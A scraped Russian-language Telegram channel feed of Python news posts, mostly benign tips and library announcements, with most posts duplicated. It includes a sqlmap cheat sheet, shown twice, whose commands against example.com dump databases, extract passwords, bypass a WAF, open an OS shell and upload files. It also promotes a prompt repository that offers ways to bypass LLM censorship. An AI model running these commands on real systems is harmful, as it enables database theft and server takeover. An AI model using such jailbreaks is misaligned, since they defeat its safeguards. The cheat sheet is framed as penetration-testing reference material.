Вот отличный пример для пет-проекта, где вы сможете изучить несколько библиотек одновременно и создать готовое решение для определенной задачи. Автор статьи поделился своим опытом разработки, инструментами, которые он использовал, и трудностями, с которыми он столкнулся. Также в статье приведена ссылка на репозиторий с исходным кодом.
https://habr.com/ru/articles/819477/
@Pythonnewsone
https://habr.com/ru/articles/819477/
@Pythonnewsone
❓ Как механизм interning влияет на сравнение строк в Python? Приведите пример, когда использование оператора == и оператора is для строк дает разные результаты. В каких случаях это знание может быть полезно?
<spoiler>❗️</spoiler><spoiler> В Python существует механизм interning, который используется для оптимизации хранения и сравнения строк. Interning автоматически применяет к коротким строкам, строкам с символами только из алфавита или строкам, которые часто используются в программе. Это означает, что такие строки могут быть закэшированы, и вместо создания нового объекта Python будет использовать уже существующий.
</spoiler><spoiler>💡</spoiler><spoiler> Когда строка подвергается интернированию, все переменные, которые ссылаются на одну и ту же строку, фактически указывают на один и тот же объект в памяти. В этом случае операторы == (сравнение по значению) и is (сравнение по идентификатору объекта) будут возвращать одинаковый результат. Но если строки не закэшированы или были созданы динамически, то is может вернуть False, даже если строки равны по значению (==).
Пример:
</spoiler><pre language="python"># Строки, созданные вручную (будут интернированы)
a = "hello"
b = "hello"
print(a == b) # True, так как значения строк одинаковы
print(a is b) # True, так как строки интернированы и ссылаются на один объект
# Строки, созданные динамически (не всегда интернированы)
x = "".join(["hel", "lo"])
y = "hello"
print(x == y) # True, значения одинаковы
print(x is y) # False, так как x и y — это разные объекты в памяти</pre><spoiler>
Когда это знание полезно:
</spoiler><spoiler>🌟</spoiler><spoiler> Оптимизация памяти: Понимание работы интернирования позволяет эффективнее использовать память, особенно при работе с большим количеством однотипных строк.
</spoiler><spoiler>🌟</spoiler><spoiler> Оптимизация скорости: Оператор is работает быстрее, чем == для строк, но его можно безопасно использовать только тогда, когда гарантированно известно, что строки интернированы (например, ключи в словарях или имена атрибутов).
</spoiler><spoiler>🌟</spoiler><spoiler> Избегание ошибок: Если случайно использовать is вместо == для сравнения строк, особенно созданных динамически, это может привести к неожиданному поведению программы.</spoiler>
@python_job_interview
@Pythonnewsone
<spoiler>❗️</spoiler><spoiler> В Python существует механизм interning, который используется для оптимизации хранения и сравнения строк. Interning автоматически применяет к коротким строкам, строкам с символами только из алфавита или строкам, которые часто используются в программе. Это означает, что такие строки могут быть закэшированы, и вместо создания нового объекта Python будет использовать уже существующий.
</spoiler><spoiler>💡</spoiler><spoiler> Когда строка подвергается интернированию, все переменные, которые ссылаются на одну и ту же строку, фактически указывают на один и тот же объект в памяти. В этом случае операторы == (сравнение по значению) и is (сравнение по идентификатору объекта) будут возвращать одинаковый результат. Но если строки не закэшированы или были созданы динамически, то is может вернуть False, даже если строки равны по значению (==).
Пример:
</spoiler><pre language="python"># Строки, созданные вручную (будут интернированы)
a = "hello"
b = "hello"
print(a == b) # True, так как значения строк одинаковы
print(a is b) # True, так как строки интернированы и ссылаются на один объект
# Строки, созданные динамически (не всегда интернированы)
x = "".join(["hel", "lo"])
y = "hello"
print(x == y) # True, значения одинаковы
print(x is y) # False, так как x и y — это разные объекты в памяти</pre><spoiler>
Когда это знание полезно:
</spoiler><spoiler>🌟</spoiler><spoiler> Оптимизация памяти: Понимание работы интернирования позволяет эффективнее использовать память, особенно при работе с большим количеством однотипных строк.
</spoiler><spoiler>🌟</spoiler><spoiler> Оптимизация скорости: Оператор is работает быстрее, чем == для строк, но его можно безопасно использовать только тогда, когда гарантированно известно, что строки интернированы (например, ключи в словарях или имена атрибутов).
</spoiler><spoiler>🌟</spoiler><spoiler> Избегание ошибок: Если случайно использовать is вместо == для сравнения строк, особенно созданных динамически, это может привести к неожиданному поведению программы.</spoiler>
@python_job_interview
@Pythonnewsone
🖥 Flet — фреймворк для создания кроссплатформенных приложений на Python
— <code>pip install flet</code>
Flet — фреймворк, предоставляющий Flutter компоненты для разработки кроссплатформенных приложений на Python (разработчики обещают расширять список поддерживаемых языков).
Flet не использует какие-то SDK, не компилирует код Python в код Dart и весь UI отображается с помощью встроенного Web сервера.
🖥 GitHub (https://github.com/flet-dev/flet)
🟡 Доки (https://flet.dev/docs/)
@pythonl
@Pythonnewsone
— <code>pip install flet</code>
Flet — фреймворк, предоставляющий Flutter компоненты для разработки кроссплатформенных приложений на Python (разработчики обещают расширять список поддерживаемых языков).
Flet не использует какие-то SDK, не компилирует код Python в код Dart и весь UI отображается с помощью встроенного Web сервера.
🖥 GitHub (https://github.com/flet-dev/flet)
🟡 Доки (https://flet.dev/docs/)
@pythonl
@Pythonnewsone
pocketpy
Это легковесный интерпретатор Python 3.x, предназначенный для написания игровых скриптов. Легко встраивается в проекты с помощью одного заголовочного файла и не требует внешних зависимостей.
https://github.com/pocketpy/pocketpy
@Pythonnewsone
https://github.com/pocketpy/pocketpy
Это легковесный интерпретатор Python 3.x, предназначенный для написания игровых скриптов. Легко встраивается в проекты с помощью одного заголовочного файла и не требует внешних зависимостей.
https://github.com/pocketpy/pocketpy
@Pythonnewsone
https://github.com/pocketpy/pocketpy
GitHub
GitHub - pocketpy/pocketpy: Portable Python 3.x Interpreter in Modern C for Game Scripting
Portable Python 3.x Interpreter in Modern C for Game Scripting - pocketpy/pocketpy
👩💻 Построение графика цены акций в виде японских свеч с использованием библиотеки yfinance
▪ Github (https://github.com/ranaroussi/yfinance)
@pythonl
@Pythonnewsone
▪ Github (https://github.com/ranaroussi/yfinance)
@pythonl
@Pythonnewsone
Что делает метод truncate()?
Метод truncate() из модуля os позволяет обрезать файл по указанному пути path, устанавливая его длину не более length байтов.
Синтаксис:
os.truncate(path, length), где path — строка, представляющая путь к файлу в файловой системе, а length — целое число, определяющее размер в байтах.
Подробнее про этот метод здесь https://docs-python.ru/standart-library/modul-os-python/funktsija-truncate-modulja-os/.
@Pythonnewsone
https://docs-python.ru/standart-library/modul-os-python/funktsija-truncate-modulja-os/
Метод truncate() из модуля os позволяет обрезать файл по указанному пути path, устанавливая его длину не более length байтов.
Синтаксис:
os.truncate(path, length), где path — строка, представляющая путь к файлу в файловой системе, а length — целое число, определяющее размер в байтах.
Подробнее про этот метод здесь https://docs-python.ru/standart-library/modul-os-python/funktsija-truncate-modulja-os/.
@Pythonnewsone
https://docs-python.ru/standart-library/modul-os-python/funktsija-truncate-modulja-os/
🖥 Репозиторий на Github (https://github.com/friuns2/BlackFriday-GPTs-Prompts?tab=readme-ov-file), в котором собраны лучшие промпты для всевозможных задач, а также способы обхода цензуры LLM
🌟Списки постоянно обновляются, последнее обновление было 3 дня назад!
Здесь можно найти запросы под всевозможные сферы: от IT до бизнес - советов.
▪️Github (https://github.com/friuns2/BlackFriday-GPTs-Prompts?tab=readme-ov-file)
@data_analysis_ml
@Pythonnewsone
🌟Списки постоянно обновляются, последнее обновление было 3 дня назад!
Здесь можно найти запросы под всевозможные сферы: от IT до бизнес - советов.
▪️Github (https://github.com/friuns2/BlackFriday-GPTs-Prompts?tab=readme-ov-file)
@data_analysis_ml
@Pythonnewsone
🔐 Шпаргалка по использованию sqlmap
SQLMAP — это инструмент для проникновения с открытым исходным кодом.
SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .
Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.
🌟 Базовый скан URL на наличие уязвимостей:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1"</pre>
🌟 Автоматический дамп всех баз данных:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —dbs</pre>
🌟 Извлечение таблиц из конкретной базы данных:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных —tables</pre>
🌟 Извлечение данных из конкретной таблицы:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы —dump</pre>
🌟 Обход WAF (брандмауэра) с помощью указания пользовательского заголовка User-Agent:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —user-agent="Mozilla/5.0"</pre>
🌟 Подбор базы данных и получение информации о пользователях:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —current-db —current-user</pre>
🌟 Включение интерактивной оболочки (OS Shell) для удаленного выполнения команд:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —os-shell</pre>
🌟 Выполнение SQL-запросов вручную:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —sql-query "SELECT user, password FROM users"</pre>
🌟 Проверка на возможность подключения с правами администратора:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —is-dba</pre>
🌟 Брутфорсирование паролей пользователей:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —passwords</pre>
🌟 Загрузка файла на удаленный сервер:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —file-write="/path/to/local/file" —file-dest="/path/to/remote/file"</pre>
🌟 Получение списка столбцов из таблицы:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы —columns</pre>
🌟 Использование прокси-сервера:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —proxy="http://127.0.0.1:8080"</pre>
🌟 Определение используемой базы данных и версии:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —banner</pre>
🌟 Атака на POST-запросы (если параметры передаются в теле):
<pre language="shell">
sqlmap -u "http://example.com/login.php" —data="username=admin&password=admin"</pre>
@linuxkalii
@Pythonnewsone
SQLMAP — это инструмент для проникновения с открытым исходным кодом.
SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .
Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.
🌟 Базовый скан URL на наличие уязвимостей:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1"</pre>
🌟 Автоматический дамп всех баз данных:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —dbs</pre>
🌟 Извлечение таблиц из конкретной базы данных:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных —tables</pre>
🌟 Извлечение данных из конкретной таблицы:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы —dump</pre>
🌟 Обход WAF (брандмауэра) с помощью указания пользовательского заголовка User-Agent:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —user-agent="Mozilla/5.0"</pre>
🌟 Подбор базы данных и получение информации о пользователях:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —current-db —current-user</pre>
🌟 Включение интерактивной оболочки (OS Shell) для удаленного выполнения команд:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —os-shell</pre>
🌟 Выполнение SQL-запросов вручную:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —sql-query "SELECT user, password FROM users"</pre>
🌟 Проверка на возможность подключения с правами администратора:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —is-dba</pre>
🌟 Брутфорсирование паролей пользователей:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —passwords</pre>
🌟 Загрузка файла на удаленный сервер:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —file-write="/path/to/local/file" —file-dest="/path/to/remote/file"</pre>
🌟 Получение списка столбцов из таблицы:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы —columns</pre>
🌟 Использование прокси-сервера:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —proxy="http://127.0.0.1:8080"</pre>
🌟 Определение используемой базы данных и версии:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —banner</pre>
🌟 Атака на POST-запросы (если параметры передаются в теле):
<pre language="shell">
sqlmap -u "http://example.com/login.php" —data="username=admin&password=admin"</pre>
@linuxkalii
@Pythonnewsone
✔️ YOLO11: новая эра в компьютерном зрении.
Компания Ultralytics представила YOLO11, новейшую версию своей знаменитой модели искусственного интеллекта для компьютерного зрения.
YOLO11 поддерживает широкий спектр задач CV: обнаружение объектов, сегментацию экземпляров, классификацию изображений, оценку позы, обнаружение ориентированных объектов (OBB) и отслеживание объектов. Модель получила улучшенное извлечение признаков.
YOLO11m достигает более высокого балла средней средней точности (mAP) в наборе данных COCO, используя на 22% меньше параметров, чем YOLOv8m.
YOLO11 вскоре будет доступна через Ultralytics HUB и пакет Ultralytics Python.
ultralytics.com (https://www.ultralytics.com/ru/blog/ultralytics-yolo11-has-arrived-redefine-whats-possible-in-ai)
@Pythonnewsone
Компания Ultralytics представила YOLO11, новейшую версию своей знаменитой модели искусственного интеллекта для компьютерного зрения.
YOLO11 поддерживает широкий спектр задач CV: обнаружение объектов, сегментацию экземпляров, классификацию изображений, оценку позы, обнаружение ориентированных объектов (OBB) и отслеживание объектов. Модель получила улучшенное извлечение признаков.
YOLO11m достигает более высокого балла средней средней точности (mAP) в наборе данных COCO, используя на 22% меньше параметров, чем YOLOv8m.
YOLO11 вскоре будет доступна через Ultralytics HUB и пакет Ultralytics Python.
ultralytics.com (https://www.ultralytics.com/ru/blog/ultralytics-yolo11-has-arrived-redefine-whats-possible-in-ai)
@Pythonnewsone
📊 OpenBB (https://github.com/OpenBB-finance/OpenBB#) — это платформа для инвестиционных исследований, предоставляющая доступ к акциям, опционам, криптовалютам, форексу и макроэкономическим данным. Платформа ориентирована на пользователей всех уровней и включает в себя как командную строку, так и графический интерфейс. 🌟 OpenBB предлагает бесплатный и открытый доступ к аналитическим инструментам и может быть расширен через различные плагины. Проект также поддерживает автоматизацию процессов и интеграцию с внешними сервисами
🔥 Инструмент является бесплатным аналогом Bloomberg terminal (подписка на который стоит $20 тыс. в год!)
👩💻 Язык: Python
🔐 Лицензия: GNU
▪ Github (https://github.com/OpenBB-finance/OpenBB#)
@pythonl
@Pythonnewsone
🔥 Инструмент является бесплатным аналогом Bloomberg terminal (подписка на который стоит $20 тыс. в год!)
👩💻 Язык: Python
🔐 Лицензия: GNU
▪ Github (https://github.com/OpenBB-finance/OpenBB#)
@pythonl
@Pythonnewsone
🔍 Нотация Big O 101: Секрет написания эффективных алгоритмов
О-большое (Big O) – это специальная нотация, используемая для описания асимптотической сложности; то есть, скорости роста времени выполнения алгоритма с увеличением размера входных данных.
Это нужно, чтобы понимать, насколько быстро или медленно работают алгоритмы. В О-большом нет коэффициентов, минут, секунд и так далее. Об этом будет наглядно показано в примере про логарифмическую сложность O(log n).
@Pythonnewsone
О-большое (Big O) – это специальная нотация, используемая для описания асимптотической сложности; то есть, скорости роста времени выполнения алгоритма с увеличением размера входных данных.
Это нужно, чтобы понимать, насколько быстро или медленно работают алгоритмы. В О-большом нет коэффициентов, минут, секунд и так далее. Об этом будет наглядно показано в примере про логарифмическую сложность O(log n).
@Pythonnewsone
🖥 Новый тренд программирования в Python – LangChain
LangChain — это мощная библиотека, которая облегчает создание приложений на основе языковых моделей. Она позволяет интегрировать различные компоненты: от работы с API до обработки текста и динамического создания запросов к LLM через API.🌐
🔍 Подробности об использовании LangChain (https://python.langchain.com/docs/introduction/)
💡 С помощью LangChain можно легко создавать ассистентов, chatbots и многое другое. Не упустите шанс изучить его возможности!
@pythonl (http://t.me/pythonl)
@Pythonnewsone
LangChain — это мощная библиотека, которая облегчает создание приложений на основе языковых моделей. Она позволяет интегрировать различные компоненты: от работы с API до обработки текста и динамического создания запросов к LLM через API.🌐
🔍 Подробности об использовании LangChain (https://python.langchain.com/docs/introduction/)
💡 С помощью LangChain можно легко создавать ассистентов, chatbots и многое другое. Не упустите шанс изучить его возможности!
@pythonl (http://t.me/pythonl)
@Pythonnewsone
🖥 TurboAsync
Этот проект - попытка создать многопоточный цикл обработки событий, совместимый с asyncio.
То есть вы, наконец, сможете использовать asyncio и сделать его многопоточным!
Тут объяснение, (https://www.neilbotelho.com/blog/multithreaded-async.html) в котором подробно описано, почему и как работает этот проект.
🔗 Github (https://github.com/NeilBotelho/turboAsync)
@pythonl (https://t.me/pythonl)
@Pythonnewsone
Этот проект - попытка создать многопоточный цикл обработки событий, совместимый с asyncio.
То есть вы, наконец, сможете использовать asyncio и сделать его многопоточным!
Тут объяснение, (https://www.neilbotelho.com/blog/multithreaded-async.html) в котором подробно описано, почему и как работает этот проект.
🔗 Github (https://github.com/NeilBotelho/turboAsync)
@pythonl (https://t.me/pythonl)
@Pythonnewsone
👩💻 Пет-проект (https://www.youtube.com/watch?v=gBfkX9H3szQ) на Python за 50 минут. Курс по FastAPI для начинающих (2024)
💡 В видео рассматривается создание простого проекта на Python с использованием FastAPI. Обсуждаются основные концепции, такие как маршрутизация, обработка запросов и использование зависимости. Программа охватывает создание RESTful API, работу с параметрами, развертывание приложения через Docker а также интеграцию с базой данных. Также приведены советы по развертыванию приложения и тестированию. Это видео подходит для начинающих, желающих быстро освоить FastAPI
🕞 Продолжительность: 50:00
🇷🇺 Видео на русском языке!
🔗 Ссылка: *клик* (https://www.youtube.com/watch?v=gBfkX9H3szQ)
#курс #python #docker #fastapi
@python_job_interview
@Pythonnewsone
💡 В видео рассматривается создание простого проекта на Python с использованием FastAPI. Обсуждаются основные концепции, такие как маршрутизация, обработка запросов и использование зависимости. Программа охватывает создание RESTful API, работу с параметрами, развертывание приложения через Docker а также интеграцию с базой данных. Также приведены советы по развертыванию приложения и тестированию. Это видео подходит для начинающих, желающих быстро освоить FastAPI
🕞 Продолжительность: 50:00
🇷🇺 Видео на русском языке!
🔗 Ссылка: *клик* (https://www.youtube.com/watch?v=gBfkX9H3szQ)
#курс #python #docker #fastapi
@python_job_interview
@Pythonnewsone
This media is not supported in your browser
VIEW IN TELEGRAM
🖥 3DTopia-XL (https://github.com/3DTopia/3DTopia-XL?tab=readme-ov-file): высококачественная генерация 3D PBR с помощью диффузии!
💡 Платформа 3DTopia-XL предназначена для создания и управления 3D-контентом. Она включает инструменты для моделирования, визуализации и рендеринга 3D, ориентированные на разработчиков игр, архитекторов и дизайнеров.
3DTopia-XL предоставляет открытые API и модули для интеграции с другими графическими движками и приложениями, что позволяет гибко адаптировать систему под разные проекты
▪️Github (https://github.com/3DTopia/3DTopia-XL?tab=readme-ov-file)
@pythonl (https://t.me/pythonl)
@Pythonnewsone
💡 Платформа 3DTopia-XL предназначена для создания и управления 3D-контентом. Она включает инструменты для моделирования, визуализации и рендеринга 3D, ориентированные на разработчиков игр, архитекторов и дизайнеров.
3DTopia-XL предоставляет открытые API и модули для интеграции с другими графическими движками и приложениями, что позволяет гибко адаптировать систему под разные проекты
▪️Github (https://github.com/3DTopia/3DTopia-XL?tab=readme-ov-file)
@pythonl (https://t.me/pythonl)
@Pythonnewsone
Математика в запросах SQL
В SQL-запросах есть возможность использовать результаты математических вычислений, причем мы можем как выводить результаты математических вычислений в SELECT, так и использовать математические выражения в условиях отбора строк WHERE. В этом видеоуроке автор подробно разбирает данную функцию.
Смотреть это видео на youtube: youtu.be/4BnxMB-VtVY
@Pythonnewsone
https://youtu.be/4BnxMB-VtVY
В SQL-запросах есть возможность использовать результаты математических вычислений, причем мы можем как выводить результаты математических вычислений в SELECT, так и использовать математические выражения в условиях отбора строк WHERE. В этом видеоуроке автор подробно разбирает данную функцию.
Смотреть это видео на youtube: youtu.be/4BnxMB-VtVY
@Pythonnewsone
https://youtu.be/4BnxMB-VtVY
YouTube
Урок 14. SQL. Математика в запросах.
В запросах SQL мы можем использовать результаты математических вычислений
причем мы можем выводить результаты математических вычислений, так и использовать математические выражения
в уловиях отбора строк WHERE
тестовая среда https://apex.oracle.com/pls/apex/…
причем мы можем выводить результаты математических вычислений, так и использовать математические выражения
в уловиях отбора строк WHERE
тестовая среда https://apex.oracle.com/pls/apex/…